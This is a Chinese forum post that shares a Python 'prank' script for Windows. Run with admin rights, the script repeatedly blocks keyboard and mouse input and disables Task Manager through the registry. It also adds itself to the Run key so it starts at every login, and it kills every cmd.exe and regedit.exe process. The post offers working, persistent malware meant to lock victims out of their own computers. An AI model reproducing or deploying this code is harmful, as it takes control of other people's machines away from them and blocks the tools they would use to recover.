马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
整人必备!!!!!
并且!!!这个东西会让你知道你以前有过朋友
import os
import winreg
import psutil
from ctypes import *
import threading as th
import time
def no_key():
while True:
user32 = windll.LoadLibrary("C:\\Windows\\System32\\user32.dll")
time.sleep(5)
user32.BlockInput(True)
time.sleep(10)
user32.BlockInput(False)
time.sleep(10)
if windll.shell32.IsUserAnAdmin() != 1:
print("请以管理员权限运行我")
input()
else:
t1 = th.Thread(target=no_key,name="error")
t1.start()
access_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies")
Key_list_sys = []
n = 0
while True:
try:
n += 1
x = winreg.EnumKey(access_key, n)
Key_list_sys.append(x)
except:
break
winreg.CloseKey(access_key)
if "System" not in Key_list_sys: #还没写已经有System文件夹的禁用方案
reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", reserved=0, access=winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(reg, "DisableTaskMgr", 0, winreg.REG_SZ, "1")
winreg.CloseKey(reg)
now_path = os.getcwd()
run_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", reserved=0, access=winreg.KEY_ALL_ACCESS)
try:
winreg.LoadKey(winreg.HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "error_run_regedit")
except:
winreg.SetValueEx(run_key, "error_run_regedit", 0,winreg.REG_SZ, f"{now_path}\\error.py")
app_list = []
while True:
try:
pids = psutil.pids()
for pid in pids:
if pid not in app_list:
app_list.append(pid)
p = psutil.Process(pid)
if p.name() == "cmd.exe":
os.system(f"taskkill /F /PID {pid}")
if p.name() == "regedit.exe":
os.system(f"taskkill /F /PID {pid}")
except:
pass
|